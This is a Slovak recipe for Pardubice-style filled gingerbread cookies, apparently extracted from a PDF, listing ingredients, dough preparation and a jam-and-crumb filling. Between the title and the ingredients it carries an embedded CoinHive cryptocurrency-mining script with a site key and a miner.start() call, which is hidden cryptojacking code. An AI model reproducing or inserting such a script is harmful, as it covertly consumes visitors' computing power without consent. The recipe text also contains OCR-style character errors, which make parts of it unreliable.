Pardubické zlepované pernicky

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 500 g krystalového cukru, 250 ml vody, "2 lyzicky sédy bikarbony, 1 kg muky
(Promix PK), 2 vajcia, 160 g medu, 1 ML Skoricového cukru, 40 g slivkovy lekvar, 2 ML
kypriaceho prasku, 10 g salajky (namiesto nej som dala o to viac sédy a prasku do peciva), 250
ml oleja alebo 100 g tuku na pecenie (pouzila som olej)

Potrebujeme na plnku: 1/5 upe€eného cesta, 250 ml vody, 4 lyZice dZzemu (pouzila som
marhulovy)

Postup: Vodu s cukrom uvarime. Muku preosejeme, zmieSame so sédou bikarbénou, salajkou
a kypriacim praskom do pernikov. Pridame k nej pripraveny sirup, tekuty med, rozslahané
vajcia, olej a vypracujeme vlacne cesto. UloZzime ho na 12 hodin do chladnicky. Asi 1/5 cesta
oddelime, rozvalkdme, upefieme a odloZime (na plnku). ZvySné cesto rozvalkdme na hrubku
asi 0,5 cm a formickami vykrajujeme kolieska (alebo iné tvary). Do polovice koliesok vykrojime v
strede maly otvor. Na vymastenom plechu perni¢ky upecieme na 180° C asi 10 minut.




Pardubické zlepované pernicky

Postup na plnku: Upe€ené odlozené cesto rozmrvime, zalejeme vriacou vodou, priddme dzem
a spolu dékladne vymieSame. PIné a dierkované pernicky plnkou po dva pospajame. M6zeme
ich poliat ¢okoladovou polevou a fubovolne ozdobit.
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